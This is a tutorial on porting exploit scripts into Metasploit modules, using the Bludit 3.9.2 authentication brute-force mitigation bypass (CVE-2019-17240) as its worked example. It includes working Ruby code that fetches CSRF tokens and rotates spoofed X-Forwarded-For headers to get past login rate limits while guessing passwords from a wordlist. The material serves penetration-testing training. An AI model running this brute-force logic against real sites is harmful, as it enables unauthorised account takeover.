🧠 Porting Scripts into Metasploit Modules

πŸš€ Goal

Convert non-Metasploit exploit scripts (like Python or PHP) into proper Metasploit modules using Ruby.

πŸ“ Metasploit modules are written in Ruby and use hard tabs. Familiarity with Ruby and the Metasploit module architecture is essential.


πŸ“ Organization Tips

  • Reuse boilerplate from similar existing modules

  • Keep your custom modules neatly stored and organized

  • Use proper snake_case naming conventions for filenames (e.g., bludit_auth_bypass.rb)


πŸ“¦ Example: Porting Bludit Exploit

Check for already existing modules to reuse structure:

$ ls /usr/share/metasploit-framework/modules/exploits/linux/http/ | grep bludit
bludit_upload_images_exec.rb

We’ll repurpose this file's structure for our own module.

🎯 Target Script:

Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass

πŸ“₯ Download the original .rb script (e.g., 48746.rb from ExploitDB), then:

$ cp ~/Downloads/48746.rb /usr/share/metasploit-framework/modules/exploits/linux/http/bludit_auth_bruteforce_mitigation_bypass.rb

πŸ”§ Understanding Metasploit Mixins

Mixins are modules that bring in functionality to Metasploit modules. These are declared at the top using include.

Mixin
Description

Msf::Exploit::Remote::HttpClient

Enables HTTP interactions

Msf::Exploit::PhpEXE

Used to deliver PHP payloads

Msf::Auxiliary::Report

Used for reporting data to MSF DB

Msf::Exploit::FileDropper ❌

Not required for this exploit

🧠 Reference: Rapid7 RubyDoc Metasploit Modules


πŸ› οΈ Module Structure

πŸ“‡ Metadata

'Name'           => "Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass",
'Description'    => %q{
  Bludit CMS ≀ 3.9.2 has a flaw in its anti-brute force logic. By manipulating the 
  'X-Forwarded-For' header, attackers can bypass rate-limiting protections.
},
'Author'         => [
  'rastating', # Original discovery
  '0ne-nine9'  # MSF Module Author
],
'References'     => [
  ['CVE', '2019-17240'],
  ['URL', 'https://rastating.github.io/bludit-brute-force-mitigation-bypass/'],
  ['PATCH', 'https://github.com/bludit/bludit/pull/1090']
],

βš™οΈ Module Options

register_options(
  [
    OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
    OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
    OptPath.new('PASSWORDS', [true, 'The list of passwords',
      File.join(Msf::Config.data_directory, "wordlists", "passwords.txt")])
  ])

πŸ§ͺ Exploit Logic Snippet

def get_csrf(client, login_url)
  res = client.get(login_url)
  csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
end

def auth_ok?(res)
  HTTP::Status.redirect?(res.code) &&
    %r{/admin/dashboard}.match?(res.headers['Location'])
end

def bruteforce_auth(client, host, username, wordlist)
  login_url = host + '/admin/login'
  File.foreach(wordlist).with_index do |password, i|
    csrf_token = get_csrf(client, login_url)
    headers = { 'X-Forwarded-For' => "#{i}-#{password[..4]}" }
    data = {
      'tokenCSRF' => csrf_token,
      'username' => username,
      'password' => password
    }
    puts "[*] Trying password: #{password.chomp}"
    auth_res = client.post(login_url, data, headers)
    if auth_ok?(auth_res)
      puts "\n[+] Password found: #{password}"
      break
    end
  end
end

πŸ“š Learn More


Let me know if you want this saved as a Markdown file, or if you want help writing a custom module from scratch!

Last updated